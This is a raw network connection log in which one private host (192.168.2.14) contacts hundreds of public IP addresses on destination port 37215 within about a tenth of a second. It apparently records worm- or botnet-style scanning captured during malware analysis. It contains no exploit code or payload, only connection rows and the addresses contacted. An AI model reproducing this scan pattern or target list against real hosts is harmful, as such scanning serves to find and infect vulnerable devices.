Nov 3, 2024 15:37:14.521475077 CET	34408	37215	192.168.2.14	41.127.161.90
Nov 3, 2024 15:37:14.521485090 CET	57310	37215	192.168.2.14	197.183.22.28
Nov 3, 2024 15:37:14.521492958 CET	50860	37215	192.168.2.14	197.254.17.218
Nov 3, 2024 15:37:14.521493912 CET	58510	37215	192.168.2.14	156.130.214.19
Nov 3, 2024 15:37:14.521496058 CET	60558	37215	192.168.2.14	41.179.185.245
Nov 3, 2024 15:37:14.521501064 CET	51864	37215	192.168.2.14	197.213.145.152
Nov 3, 2024 15:37:14.521501064 CET	55744	37215	192.168.2.14	156.103.148.132
Nov 3, 2024 15:37:14.521507978 CET	41414	37215	192.168.2.14	41.210.242.120
Nov 3, 2024 15:37:14.521516085 CET	38264	37215	192.168.2.14	156.1.250.39
Nov 3, 2024 15:37:14.521517038 CET	34086	37215	192.168.2.14	197.108.23.217
Nov 3, 2024 15:37:14.521517038 CET	40026	37215	192.168.2.14	156.135.37.168
Nov 3, 2024 15:37:14.521528006 CET	44834	37215	192.168.2.14	197.204.14.128
Nov 3, 2024 15:37:14.521538019 CET	49912	37215	192.168.2.14	41.22.109.55
Nov 3, 2024 15:37:14.521538019 CET	50498	37215	192.168.2.14	197.156.27.154
Nov 3, 2024 15:37:14.521541119 CET	41218	37215	192.168.2.14	156.3.134.146
Nov 3, 2024 15:37:14.521548033 CET	41834	37215	192.168.2.14	41.115.20.24
Nov 3, 2024 15:37:14.521550894 CET	46394	37215	192.168.2.14	41.219.228.84
Nov 3, 2024 15:37:14.521553993 CET	50120	37215	192.168.2.14	197.226.142.141
Nov 3, 2024 15:37:14.521553993 CET	57928	37215	192.168.2.14	156.32.248.140
Nov 3, 2024 15:37:14.521553993 CET	55736	37215	192.168.2.14	41.166.36.238
Nov 3, 2024 15:37:14.521553993 CET	33966	37215	192.168.2.14	197.137.102.189
Nov 3, 2024 15:37:14.521559000 CET	52706	37215	192.168.2.14	41.127.70.140
Nov 3, 2024 15:37:14.521565914 CET	50536	37215	192.168.2.14	41.53.63.239
Nov 3, 2024 15:37:14.521567106 CET	42548	37215	192.168.2.14	156.221.255.137
Nov 3, 2024 15:37:14.521574020 CET	58844	37215	192.168.2.14	41.95.41.83
Nov 3, 2024 15:37:14.521578074 CET	43560	37215	192.168.2.14	41.217.7.145
Nov 3, 2024 15:37:14.521583080 CET	44256	37215	192.168.2.14	156.205.29.107
Nov 3, 2024 15:37:14.521588087 CET	56914	37215	192.168.2.14	156.74.107.240
Nov 3, 2024 15:37:14.521589994 CET	56510	37215	192.168.2.14	41.215.234.93
Nov 3, 2024 15:37:14.521594048 CET	56750	37215	192.168.2.14	156.10.11.88
Nov 3, 2024 15:37:14.521606922 CET	48576	37215	192.168.2.14	41.37.247.136
Nov 3, 2024 15:37:14.521606922 CET	42998	37215	192.168.2.14	156.5.106.240
Nov 3, 2024 15:37:14.521608114 CET	39334	37215	192.168.2.14	41.236.104.122
Nov 3, 2024 15:37:14.521606922 CET	50020	37215	192.168.2.14	156.197.2.99
Nov 3, 2024 15:37:14.521614075 CET	50352	37215	192.168.2.14	197.211.76.111
Nov 3, 2024 15:37:14.521615028 CET	46718	37215	192.168.2.14	41.120.114.208
Nov 3, 2024 15:37:14.521615028 CET	47106	37215	192.168.2.14	41.227.68.72
Nov 3, 2024 15:37:14.521620989 CET	53236	37215	192.168.2.14	197.4.6.115
Nov 3, 2024 15:37:14.521621943 CET	48266	37215	192.168.2.14	156.66.38.190
Nov 3, 2024 15:37:14.521625996 CET	50044	37215	192.168.2.14	41.104.189.119
Nov 3, 2024 15:37:14.521627903 CET	34802	37215	192.168.2.14	41.208.203.43
Nov 3, 2024 15:37:14.521635056 CET	50878	37215	192.168.2.14	197.3.79.206
Nov 3, 2024 15:37:14.521641016 CET	53244	37215	192.168.2.14	197.170.70.85
Nov 3, 2024 15:37:14.521641016 CET	59120	37215	192.168.2.14	156.56.65.215
Nov 3, 2024 15:37:14.521641016 CET	58970	37215	192.168.2.14	156.68.52.194
Nov 3, 2024 15:37:14.521646976 CET	57904	37215	192.168.2.14	197.27.247.143
Nov 3, 2024 15:37:14.521650076 CET	50220	37215	192.168.2.14	41.12.251.234
Nov 3, 2024 15:37:14.521655083 CET	40790	37215	192.168.2.14	197.7.160.38
Nov 3, 2024 15:37:14.521671057 CET	33838	37215	192.168.2.14	41.106.89.174
Nov 3, 2024 15:37:14.521672010 CET	54572	37215	192.168.2.14	156.243.181.34
Nov 3, 2024 15:37:14.521672010 CET	56624	37215	192.168.2.14	156.45.242.111
Nov 3, 2024 15:37:14.521672010 CET	38218	37215	192.168.2.14	41.28.107.158
Nov 3, 2024 15:37:14.521677017 CET	57638	37215	192.168.2.14	156.156.70.75
Nov 3, 2024 15:37:14.521678925 CET	56724	37215	192.168.2.14	156.157.41.72
Nov 3, 2024 15:37:14.521681070 CET	59738	37215	192.168.2.14	156.178.4.247
Nov 3, 2024 15:37:14.521681070 CET	46918	37215	192.168.2.14	156.122.194.113
Nov 3, 2024 15:37:14.521682024 CET	32834	37215	192.168.2.14	156.236.57.150
Nov 3, 2024 15:37:14.521682024 CET	41986	37215	192.168.2.14	41.226.57.61
Nov 3, 2024 15:37:14.521687984 CET	42258	37215	192.168.2.14	197.172.150.90
Nov 3, 2024 15:37:14.521697044 CET	40036	37215	192.168.2.14	41.163.33.184
Nov 3, 2024 15:37:14.521704912 CET	34036	37215	192.168.2.14	41.197.53.234
Nov 3, 2024 15:37:14.521708965 CET	36652	37215	192.168.2.14	156.225.156.99
Nov 3, 2024 15:37:14.521711111 CET	34502	37215	192.168.2.14	156.78.250.236
Nov 3, 2024 15:37:14.521714926 CET	33736	37215	192.168.2.14	41.31.230.34
Nov 3, 2024 15:37:14.521718025 CET	43878	37215	192.168.2.14	41.61.175.218
Nov 3, 2024 15:37:14.521719933 CET	53912	37215	192.168.2.14	156.147.112.122
Nov 3, 2024 15:37:14.521722078 CET	59836	37215	192.168.2.14	197.117.220.43
Nov 3, 2024 15:37:14.521728992 CET	34424	37215	192.168.2.14	41.20.124.70
Nov 3, 2024 15:37:14.521729946 CET	50002	37215	192.168.2.14	156.111.125.131
Nov 3, 2024 15:37:14.521728992 CET	33378	37215	192.168.2.14	197.140.71.172
Nov 3, 2024 15:37:14.521728992 CET	36426	37215	192.168.2.14	197.176.255.237
Nov 3, 2024 15:37:14.521730900 CET	39612	37215	192.168.2.14	156.246.61.185
Nov 3, 2024 15:37:14.521730900 CET	48582	37215	192.168.2.14	197.221.66.71
Nov 3, 2024 15:37:14.521730900 CET	48910	37215	192.168.2.14	156.246.166.190
Nov 3, 2024 15:37:14.521734953 CET	34390	37215	192.168.2.14	156.93.99.76
Nov 3, 2024 15:37:14.521735907 CET	45990	37215	192.168.2.14	156.21.107.185
Nov 3, 2024 15:37:14.521739960 CET	55320	37215	192.168.2.14	41.163.133.62
Nov 3, 2024 15:37:14.521744013 CET	56088	37215	192.168.2.14	197.252.145.215
Nov 3, 2024 15:37:14.521752119 CET	55388	37215	192.168.2.14	156.246.219.40
Nov 3, 2024 15:37:14.521754026 CET	55158	37215	192.168.2.14	41.100.58.25
Nov 3, 2024 15:37:14.521756887 CET	48126	37215	192.168.2.14	41.194.161.217
Nov 3, 2024 15:37:14.553411007 CET	38486	37215	192.168.2.14	156.245.81.105
Nov 3, 2024 15:37:14.588052034 CET	35945	37215	192.168.2.14	41.135.91.196
Nov 3, 2024 15:37:14.588056087 CET	35945	37215	192.168.2.14	156.237.97.137
Nov 3, 2024 15:37:14.588056087 CET	35945	37215	192.168.2.14	156.124.200.113
Nov 3, 2024 15:37:14.588062048 CET	35945	37215	192.168.2.14	41.69.77.169
Nov 3, 2024 15:37:14.588063002 CET	35945	37215	192.168.2.14	41.51.34.127
Nov 3, 2024 15:37:14.588066101 CET	35945	37215	192.168.2.14	41.202.183.165
Nov 3, 2024 15:37:14.588066101 CET	35945	37215	192.168.2.14	197.13.187.66
Nov 3, 2024 15:37:14.588069916 CET	35945	37215	192.168.2.14	197.74.81.72
Nov 3, 2024 15:37:14.588071108 CET	35945	37215	192.168.2.14	41.116.110.76
Nov 3, 2024 15:37:14.588071108 CET	35945	37215	192.168.2.14	156.142.244.176
Nov 3, 2024 15:37:14.588077068 CET	35945	37215	192.168.2.14	156.15.175.223
Nov 3, 2024 15:37:14.588078022 CET	35945	37215	192.168.2.14	156.182.30.150
Nov 3, 2024 15:37:14.588082075 CET	35945	37215	192.168.2.14	156.209.95.224
Nov 3, 2024 15:37:14.588088989 CET	35945	37215	192.168.2.14	156.235.154.180
Nov 3, 2024 15:37:14.588089943 CET	35945	37215	192.168.2.14	156.125.196.251
Nov 3, 2024 15:37:14.588090897 CET	35945	37215	192.168.2.14	41.187.98.124
Nov 3, 2024 15:37:14.588098049 CET	35945	37215	192.168.2.14	156.9.232.118
Nov 3, 2024 15:37:14.588103056 CET	35945	37215	192.168.2.14	156.48.111.36
Nov 3, 2024 15:37:14.588114023 CET	35945	37215	192.168.2.14	156.32.109.164
Nov 3, 2024 15:37:14.588114977 CET	35945	37215	192.168.2.14	41.212.126.97
Nov 3, 2024 15:37:14.588114977 CET	35945	37215	192.168.2.14	156.51.220.153
Nov 3, 2024 15:37:14.588114977 CET	35945	37215	192.168.2.14	197.186.241.144
Nov 3, 2024 15:37:14.588123083 CET	35945	37215	192.168.2.14	197.216.154.210
Nov 3, 2024 15:37:14.588128090 CET	35945	37215	192.168.2.14	197.117.189.131
Nov 3, 2024 15:37:14.588140965 CET	35945	37215	192.168.2.14	197.245.174.17
Nov 3, 2024 15:37:14.588141918 CET	35945	37215	192.168.2.14	197.238.36.110
Nov 3, 2024 15:37:14.588145018 CET	35945	37215	192.168.2.14	156.110.236.95
Nov 3, 2024 15:37:14.588152885 CET	35945	37215	192.168.2.14	156.187.120.145
Nov 3, 2024 15:37:14.588160038 CET	35945	37215	192.168.2.14	41.7.128.118
Nov 3, 2024 15:37:14.588165998 CET	35945	37215	192.168.2.14	197.99.41.32
Nov 3, 2024 15:37:14.588171959 CET	35945	37215	192.168.2.14	156.80.72.131
Nov 3, 2024 15:37:14.588177919 CET	35945	37215	192.168.2.14	41.83.89.149
Nov 3, 2024 15:37:14.588185072 CET	35945	37215	192.168.2.14	41.74.137.149
Nov 3, 2024 15:37:14.588185072 CET	35945	37215	192.168.2.14	41.153.253.189
Nov 3, 2024 15:37:14.588193893 CET	35945	37215	192.168.2.14	197.59.75.254
Nov 3, 2024 15:37:14.588207006 CET	35945	37215	192.168.2.14	197.117.2.160
Nov 3, 2024 15:37:14.588208914 CET	35945	37215	192.168.2.14	197.21.239.246
Nov 3, 2024 15:37:14.588212013 CET	35945	37215	192.168.2.14	156.100.66.132
Nov 3, 2024 15:37:14.588212013 CET	35945	37215	192.168.2.14	197.40.177.66
Nov 3, 2024 15:37:14.588212013 CET	35945	37215	192.168.2.14	197.115.100.40
Nov 3, 2024 15:37:14.588216066 CET	35945	37215	192.168.2.14	197.148.74.118
Nov 3, 2024 15:37:14.588222027 CET	35945	37215	192.168.2.14	41.72.76.75
Nov 3, 2024 15:37:14.588227034 CET	35945	37215	192.168.2.14	197.236.159.69
Nov 3, 2024 15:37:14.588234901 CET	35945	37215	192.168.2.14	197.154.100.252
Nov 3, 2024 15:37:14.588242054 CET	35945	37215	192.168.2.14	197.3.211.163
Nov 3, 2024 15:37:14.588243961 CET	35945	37215	192.168.2.14	197.245.143.164
Nov 3, 2024 15:37:14.588244915 CET	35945	37215	192.168.2.14	156.118.94.179
Nov 3, 2024 15:37:14.588246107 CET	35945	37215	192.168.2.14	197.83.14.51
Nov 3, 2024 15:37:14.588246107 CET	35945	37215	192.168.2.14	41.69.225.183
Nov 3, 2024 15:37:14.588247061 CET	35945	37215	192.168.2.14	41.185.223.4
Nov 3, 2024 15:37:14.588249922 CET	35945	37215	192.168.2.14	41.239.17.193
Nov 3, 2024 15:37:14.588268995 CET	35945	37215	192.168.2.14	197.128.96.237
Nov 3, 2024 15:37:14.588269949 CET	35945	37215	192.168.2.14	156.246.37.32
Nov 3, 2024 15:37:14.588269949 CET	35945	37215	192.168.2.14	156.59.32.127
Nov 3, 2024 15:37:14.588270903 CET	35945	37215	192.168.2.14	197.158.220.151
Nov 3, 2024 15:37:14.588273048 CET	35945	37215	192.168.2.14	156.66.13.194
Nov 3, 2024 15:37:14.588274002 CET	35945	37215	192.168.2.14	156.251.233.27
Nov 3, 2024 15:37:14.588274956 CET	35945	37215	192.168.2.14	41.73.139.190
Nov 3, 2024 15:37:14.588274956 CET	35945	37215	192.168.2.14	156.4.131.123
Nov 3, 2024 15:37:14.588279009 CET	35945	37215	192.168.2.14	156.234.113.88
Nov 3, 2024 15:37:14.588280916 CET	35945	37215	192.168.2.14	197.239.208.249
Nov 3, 2024 15:37:14.588282108 CET	35945	37215	192.168.2.14	197.130.134.239
Nov 3, 2024 15:37:14.588301897 CET	35945	37215	192.168.2.14	197.192.213.98
Nov 3, 2024 15:37:14.588301897 CET	35945	37215	192.168.2.14	41.240.46.112
Nov 3, 2024 15:37:14.588304043 CET	35945	37215	192.168.2.14	197.44.115.41
Nov 3, 2024 15:37:14.588306904 CET	35945	37215	192.168.2.14	41.197.183.162
Nov 3, 2024 15:37:14.588308096 CET	35945	37215	192.168.2.14	41.7.230.149
Nov 3, 2024 15:37:14.588320017 CET	35945	37215	192.168.2.14	156.38.47.221
Nov 3, 2024 15:37:14.588321924 CET	35945	37215	192.168.2.14	41.11.25.203
Nov 3, 2024 15:37:14.588324070 CET	35945	37215	192.168.2.14	41.140.105.199
Nov 3, 2024 15:37:14.588327885 CET	35945	37215	192.168.2.14	197.58.10.84
Nov 3, 2024 15:37:14.588327885 CET	35945	37215	192.168.2.14	197.167.116.247
Nov 3, 2024 15:37:14.588342905 CET	35945	37215	192.168.2.14	156.200.206.82
Nov 3, 2024 15:37:14.588347912 CET	35945	37215	192.168.2.14	156.121.56.201
Nov 3, 2024 15:37:14.588350058 CET	35945	37215	192.168.2.14	197.105.140.122
Nov 3, 2024 15:37:14.588359118 CET	35945	37215	192.168.2.14	41.88.32.39
Nov 3, 2024 15:37:14.588362932 CET	35945	37215	192.168.2.14	197.25.35.93
Nov 3, 2024 15:37:14.588363886 CET	35945	37215	192.168.2.14	41.56.165.16
Nov 3, 2024 15:37:14.588371038 CET	35945	37215	192.168.2.14	156.119.194.9
Nov 3, 2024 15:37:14.588372946 CET	35945	37215	192.168.2.14	197.15.143.34
Nov 3, 2024 15:37:14.588372946 CET	35945	37215	192.168.2.14	41.135.49.239
Nov 3, 2024 15:37:14.588377953 CET	35945	37215	192.168.2.14	41.192.88.211
Nov 3, 2024 15:37:14.588393927 CET	35945	37215	192.168.2.14	41.21.181.179
Nov 3, 2024 15:37:14.588395119 CET	35945	37215	192.168.2.14	197.71.151.145
Nov 3, 2024 15:37:14.588396072 CET	35945	37215	192.168.2.14	197.202.70.168
Nov 3, 2024 15:37:14.588399887 CET	35945	37215	192.168.2.14	41.134.89.40
Nov 3, 2024 15:37:14.588404894 CET	35945	37215	192.168.2.14	156.106.67.224
Nov 3, 2024 15:37:14.588408947 CET	35945	37215	192.168.2.14	41.125.193.165
Nov 3, 2024 15:37:14.588412046 CET	35945	37215	192.168.2.14	41.46.73.54
Nov 3, 2024 15:37:14.588413000 CET	35945	37215	192.168.2.14	156.172.24.40
Nov 3, 2024 15:37:14.588421106 CET	35945	37215	192.168.2.14	156.137.163.173
Nov 3, 2024 15:37:14.588421106 CET	35945	37215	192.168.2.14	197.12.185.62
Nov 3, 2024 15:37:14.588427067 CET	35945	37215	192.168.2.14	156.50.132.208
Nov 3, 2024 15:37:14.588427067 CET	35945	37215	192.168.2.14	41.164.183.109
Nov 3, 2024 15:37:14.588430882 CET	35945	37215	192.168.2.14	156.78.9.67
Nov 3, 2024 15:37:14.588433027 CET	35945	37215	192.168.2.14	197.189.170.116
Nov 3, 2024 15:37:14.588435888 CET	35945	37215	192.168.2.14	197.148.74.168
Nov 3, 2024 15:37:14.588438034 CET	35945	37215	192.168.2.14	156.191.123.247
Nov 3, 2024 15:37:14.588439941 CET	35945	37215	192.168.2.14	197.175.132.93
Nov 3, 2024 15:37:14.588444948 CET	35945	37215	192.168.2.14	156.241.34.30
Nov 3, 2024 15:37:14.588448048 CET	35945	37215	192.168.2.14	156.236.190.47
Nov 3, 2024 15:37:14.588465929 CET	35945	37215	192.168.2.14	156.148.241.22
Nov 3, 2024 15:37:14.588469028 CET	35945	37215	192.168.2.14	156.210.165.77
Nov 3, 2024 15:37:14.588474035 CET	35945	37215	192.168.2.14	197.163.128.3
Nov 3, 2024 15:37:14.588475943 CET	35945	37215	192.168.2.14	197.79.26.51
Nov 3, 2024 15:37:14.588475943 CET	35945	37215	192.168.2.14	197.136.236.247
Nov 3, 2024 15:37:14.588476896 CET	35945	37215	192.168.2.14	156.94.206.242
Nov 3, 2024 15:37:14.588476896 CET	35945	37215	192.168.2.14	197.24.61.17
Nov 3, 2024 15:37:14.588483095 CET	35945	37215	192.168.2.14	197.157.75.250
Nov 3, 2024 15:37:14.588485003 CET	35945	37215	192.168.2.14	197.126.114.9
Nov 3, 2024 15:37:14.588504076 CET	35945	37215	192.168.2.14	156.28.54.120
Nov 3, 2024 15:37:14.588507891 CET	35945	37215	192.168.2.14	197.246.76.243
Nov 3, 2024 15:37:14.588507891 CET	35945	37215	192.168.2.14	156.156.203.177
Nov 3, 2024 15:37:14.588509083 CET	35945	37215	192.168.2.14	197.190.59.59
Nov 3, 2024 15:37:14.588524103 CET	35945	37215	192.168.2.14	156.24.90.47
Nov 3, 2024 15:37:14.588526011 CET	35945	37215	192.168.2.14	41.175.128.161
Nov 3, 2024 15:37:14.588526011 CET	35945	37215	192.168.2.14	156.237.7.226
Nov 3, 2024 15:37:14.588531017 CET	35945	37215	192.168.2.14	197.14.193.68
Nov 3, 2024 15:37:14.588535070 CET	35945	37215	192.168.2.14	197.233.197.164
Nov 3, 2024 15:37:14.588536978 CET	35945	37215	192.168.2.14	197.198.162.28
Nov 3, 2024 15:37:14.588548899 CET	35945	37215	192.168.2.14	41.106.115.188
Nov 3, 2024 15:37:14.588548899 CET	35945	37215	192.168.2.14	197.90.232.150
Nov 3, 2024 15:37:14.588562965 CET	35945	37215	192.168.2.14	41.89.94.5
Nov 3, 2024 15:37:14.588562965 CET	35945	37215	192.168.2.14	197.38.41.163
Nov 3, 2024 15:37:14.588587046 CET	35945	37215	192.168.2.14	197.23.112.81
Nov 3, 2024 15:37:14.588588953 CET	35945	37215	192.168.2.14	41.13.188.185
Nov 3, 2024 15:37:14.588588953 CET	35945	37215	192.168.2.14	197.1.83.150
Nov 3, 2024 15:37:14.588588953 CET	35945	37215	192.168.2.14	156.154.71.239
Nov 3, 2024 15:37:14.588603020 CET	35945	37215	192.168.2.14	156.220.197.4
Nov 3, 2024 15:37:14.588603020 CET	35945	37215	192.168.2.14	41.92.87.73
Nov 3, 2024 15:37:14.588603020 CET	35945	37215	192.168.2.14	41.205.80.159
Nov 3, 2024 15:37:14.588603020 CET	35945	37215	192.168.2.14	156.219.191.217
Nov 3, 2024 15:37:14.588603020 CET	35945	37215	192.168.2.14	41.60.124.89
Nov 3, 2024 15:37:14.588603020 CET	35945	37215	192.168.2.14	41.49.118.89
Nov 3, 2024 15:37:14.588603020 CET	35945	37215	192.168.2.14	197.61.170.99
Nov 3, 2024 15:37:14.588604927 CET	35945	37215	192.168.2.14	156.58.43.16
Nov 3, 2024 15:37:14.588604927 CET	35945	37215	192.168.2.14	197.166.52.94
Nov 3, 2024 15:37:14.588606119 CET	35945	37215	192.168.2.14	197.51.239.212
Nov 3, 2024 15:37:14.588607073 CET	35945	37215	192.168.2.14	41.103.62.185
Nov 3, 2024 15:37:14.588607073 CET	35945	37215	192.168.2.14	197.129.71.62
Nov 3, 2024 15:37:14.588607073 CET	35945	37215	192.168.2.14	197.135.99.30
Nov 3, 2024 15:37:14.588608980 CET	35945	37215	192.168.2.14	197.78.51.28
Nov 3, 2024 15:37:14.588608980 CET	35945	37215	192.168.2.14	156.69.15.168
Nov 3, 2024 15:37:14.588608980 CET	35945	37215	192.168.2.14	41.36.28.146
Nov 3, 2024 15:37:14.588609934 CET	35945	37215	192.168.2.14	156.194.44.49
Nov 3, 2024 15:37:14.588613987 CET	35945	37215	192.168.2.14	41.181.51.40
Nov 3, 2024 15:37:14.588613987 CET	35945	37215	192.168.2.14	156.85.231.134
Nov 3, 2024 15:37:14.588619947 CET	35945	37215	192.168.2.14	156.31.75.6
Nov 3, 2024 15:37:14.588619947 CET	35945	37215	192.168.2.14	197.110.71.144
Nov 3, 2024 15:37:14.588619947 CET	35945	37215	192.168.2.14	41.248.214.44
Nov 3, 2024 15:37:14.588619947 CET	35945	37215	192.168.2.14	156.242.218.237
Nov 3, 2024 15:37:14.588619947 CET	35945	37215	192.168.2.14	197.242.121.237
Nov 3, 2024 15:37:14.588622093 CET	35945	37215	192.168.2.14	156.173.224.103
Nov 3, 2024 15:37:14.588623047 CET	35945	37215	192.168.2.14	41.14.22.96
Nov 3, 2024 15:37:14.588623047 CET	35945	37215	192.168.2.14	197.189.201.175
Nov 3, 2024 15:37:14.588623047 CET	35945	37215	192.168.2.14	197.76.97.176
Nov 3, 2024 15:37:14.588623047 CET	35945	37215	192.168.2.14	41.240.96.199
Nov 3, 2024 15:37:14.588625908 CET	35945	37215	192.168.2.14	41.83.118.120
Nov 3, 2024 15:37:14.588625908 CET	35945	37215	192.168.2.14	41.123.11.84
Nov 3, 2024 15:37:14.588625908 CET	35945	37215	192.168.2.14	197.228.20.171
Nov 3, 2024 15:37:14.588629007 CET	35945	37215	192.168.2.14	197.149.130.179
Nov 3, 2024 15:37:14.588632107 CET	35945	37215	192.168.2.14	41.161.7.197
Nov 3, 2024 15:37:14.588638067 CET	35945	37215	192.168.2.14	41.82.175.130
Nov 3, 2024 15:37:14.588640928 CET	35945	37215	192.168.2.14	156.200.190.68
Nov 3, 2024 15:37:14.588640928 CET	35945	37215	192.168.2.14	41.21.26.28
Nov 3, 2024 15:37:14.588640928 CET	35945	37215	192.168.2.14	156.14.123.47
Nov 3, 2024 15:37:14.588640928 CET	35945	37215	192.168.2.14	156.75.185.102
Nov 3, 2024 15:37:14.588641882 CET	35945	37215	192.168.2.14	41.94.195.160
Nov 3, 2024 15:37:14.588643074 CET	35945	37215	192.168.2.14	41.21.107.21
Nov 3, 2024 15:37:14.588640928 CET	35945	37215	192.168.2.14	156.192.186.198
Nov 3, 2024 15:37:14.588640928 CET	35945	37215	192.168.2.14	41.124.118.13
Nov 3, 2024 15:37:14.588644981 CET	35945	37215	192.168.2.14	156.50.240.35
Nov 3, 2024 15:37:14.588649035 CET	35945	37215	192.168.2.14	41.170.108.218
Nov 3, 2024 15:37:14.588649035 CET	35945	37215	192.168.2.14	156.161.226.11
Nov 3, 2024 15:37:14.588653088 CET	35945	37215	192.168.2.14	41.171.28.187
Nov 3, 2024 15:37:14.588663101 CET	35945	37215	192.168.2.14	197.17.182.121
Nov 3, 2024 15:37:14.588663101 CET	35945	37215	192.168.2.14	156.35.81.139
Nov 3, 2024 15:37:14.588669062 CET	35945	37215	192.168.2.14	197.235.202.212
Nov 3, 2024 15:37:14.588670015 CET	35945	37215	192.168.2.14	41.218.226.82
Nov 3, 2024 15:37:14.588669062 CET	35945	37215	192.168.2.14	156.187.238.64
Nov 3, 2024 15:37:14.588670015 CET	35945	37215	192.168.2.14	41.150.63.156
Nov 3, 2024 15:37:14.588669062 CET	35945	37215	192.168.2.14	156.146.10.70
Nov 3, 2024 15:37:14.588670015 CET	35945	37215	192.168.2.14	41.123.209.70
Nov 3, 2024 15:37:14.588670015 CET	35945	37215	192.168.2.14	41.209.98.151
Nov 3, 2024 15:37:14.588669062 CET	35945	37215	192.168.2.14	41.0.238.152
Nov 3, 2024 15:37:14.588670015 CET	35945	37215	192.168.2.14	41.127.65.204
Nov 3, 2024 15:37:14.588670015 CET	35945	37215	192.168.2.14	156.69.77.206
Nov 3, 2024 15:37:14.588681936 CET	35945	37215	192.168.2.14	197.78.42.11
Nov 3, 2024 15:37:14.588682890 CET	35945	37215	192.168.2.14	197.15.188.63
Nov 3, 2024 15:37:14.588682890 CET	35945	37215	192.168.2.14	41.169.164.250
Nov 3, 2024 15:37:14.588685036 CET	35945	37215	192.168.2.14	156.15.212.221
Nov 3, 2024 15:37:14.588685036 CET	35945	37215	192.168.2.14	197.90.77.41
Nov 3, 2024 15:37:14.588685989 CET	35945	37215	192.168.2.14	197.205.185.49
Nov 3, 2024 15:37:14.588685989 CET	35945	37215	192.168.2.14	156.118.43.50
Nov 3, 2024 15:37:14.588685989 CET	35945	37215	192.168.2.14	197.16.56.148
Nov 3, 2024 15:37:14.588685989 CET	35945	37215	192.168.2.14	197.158.69.150
Nov 3, 2024 15:37:14.588687897 CET	35945	37215	192.168.2.14	41.223.202.91
Nov 3, 2024 15:37:14.588687897 CET	35945	37215	192.168.2.14	197.174.172.106
Nov 3, 2024 15:37:14.588689089 CET	35945	37215	192.168.2.14	156.48.198.59
Nov 3, 2024 15:37:14.588696957 CET	35945	37215	192.168.2.14	197.22.212.155
Nov 3, 2024 15:37:14.588696957 CET	35945	37215	192.168.2.14	156.206.15.44
Nov 3, 2024 15:37:14.588700056 CET	35945	37215	192.168.2.14	41.130.134.198
Nov 3, 2024 15:37:14.588702917 CET	35945	37215	192.168.2.14	156.122.195.233
Nov 3, 2024 15:37:14.588702917 CET	35945	37215	192.168.2.14	197.225.50.228
Nov 3, 2024 15:37:14.588716984 CET	35945	37215	192.168.2.14	41.201.85.106
Nov 3, 2024 15:37:14.588721037 CET	35945	37215	192.168.2.14	197.108.87.45
Nov 3, 2024 15:37:14.588722944 CET	35945	37215	192.168.2.14	197.244.76.140
Nov 3, 2024 15:37:14.588722944 CET	35945	37215	192.168.2.14	197.184.115.61
Nov 3, 2024 15:37:14.588722944 CET	35945	37215	192.168.2.14	41.10.237.234
Nov 3, 2024 15:37:14.588723898 CET	35945	37215	192.168.2.14	197.235.168.150
Nov 3, 2024 15:37:14.588723898 CET	35945	37215	192.168.2.14	197.121.20.38
Nov 3, 2024 15:37:14.588735104 CET	35945	37215	192.168.2.14	41.45.38.7
Nov 3, 2024 15:37:14.588743925 CET	35945	37215	192.168.2.14	156.247.243.65
Nov 3, 2024 15:37:14.588752985 CET	35945	37215	192.168.2.14	156.142.153.31
Nov 3, 2024 15:37:14.588752985 CET	35945	37215	192.168.2.14	41.103.92.1
Nov 3, 2024 15:37:14.588752985 CET	35945	37215	192.168.2.14	197.208.77.220
Nov 3, 2024 15:37:14.588753939 CET	35945	37215	192.168.2.14	156.255.34.118
Nov 3, 2024 15:37:14.588754892 CET	35945	37215	192.168.2.14	41.127.205.179
Nov 3, 2024 15:37:14.588768959 CET	35945	37215	192.168.2.14	197.11.86.162
Nov 3, 2024 15:37:14.588777065 CET	35945	37215	192.168.2.14	156.200.7.31
Nov 3, 2024 15:37:14.588778019 CET	35945	37215	192.168.2.14	41.68.163.201
Nov 3, 2024 15:37:14.588778019 CET	35945	37215	192.168.2.14	197.34.37.21
Nov 3, 2024 15:37:14.588778973 CET	35945	37215	192.168.2.14	197.137.63.240
Nov 3, 2024 15:37:14.588785887 CET	35945	37215	192.168.2.14	41.242.4.153
Nov 3, 2024 15:37:14.588799000 CET	35945	37215	192.168.2.14	156.255.232.99
Nov 3, 2024 15:37:14.588800907 CET	35945	37215	192.168.2.14	197.220.221.88
Nov 3, 2024 15:37:14.588800907 CET	35945	37215	192.168.2.14	156.43.229.242
Nov 3, 2024 15:37:14.588803053 CET	35945	37215	192.168.2.14	156.52.134.234
Nov 3, 2024 15:37:14.588804007 CET	35945	37215	192.168.2.14	156.110.28.36
Nov 3, 2024 15:37:14.588804007 CET	35945	37215	192.168.2.14	197.36.159.251
Nov 3, 2024 15:37:14.588809013 CET	35945	37215	192.168.2.14	41.89.151.109
Nov 3, 2024 15:37:14.588816881 CET	35945	37215	192.168.2.14	41.121.81.7
Nov 3, 2024 15:37:14.588828087 CET	35945	37215	192.168.2.14	197.199.174.22
Nov 3, 2024 15:37:14.588834047 CET	35945	37215	192.168.2.14	156.65.205.68
Nov 3, 2024 15:37:14.588835001 CET	35945	37215	192.168.2.14	156.141.147.174
Nov 3, 2024 15:37:14.588835955 CET	35945	37215	192.168.2.14	156.235.154.87
Nov 3, 2024 15:37:14.588852882 CET	35945	37215	192.168.2.14	41.251.84.131
Nov 3, 2024 15:37:14.588854074 CET	35945	37215	192.168.2.14	197.158.145.3
Nov 3, 2024 15:37:14.588852882 CET	35945	37215	192.168.2.14	41.170.53.238
Nov 3, 2024 15:37:14.588852882 CET	35945	37215	192.168.2.14	41.245.99.140
Nov 3, 2024 15:37:14.588852882 CET	35945	37215	192.168.2.14	41.118.147.108
Nov 3, 2024 15:37:14.588859081 CET	35945	37215	192.168.2.14	197.14.220.58
Nov 3, 2024 15:37:14.588860035 CET	35945	37215	192.168.2.14	197.131.12.154
Nov 3, 2024 15:37:14.588862896 CET	35945	37215	192.168.2.14	156.110.221.244
Nov 3, 2024 15:37:14.588862896 CET	35945	37215	192.168.2.14	197.195.146.83
Nov 3, 2024 15:37:14.588865995 CET	35945	37215	192.168.2.14	197.99.94.32
Nov 3, 2024 15:37:14.588869095 CET	35945	37215	192.168.2.14	197.15.179.189
Nov 3, 2024 15:37:14.588881969 CET	35945	37215	192.168.2.14	156.152.30.109
Nov 3, 2024 15:37:14.588881969 CET	35945	37215	192.168.2.14	41.85.193.232
Nov 3, 2024 15:37:14.588884115 CET	35945	37215	192.168.2.14	41.206.87.117
Nov 3, 2024 15:37:14.588888884 CET	35945	37215	192.168.2.14	41.57.190.102
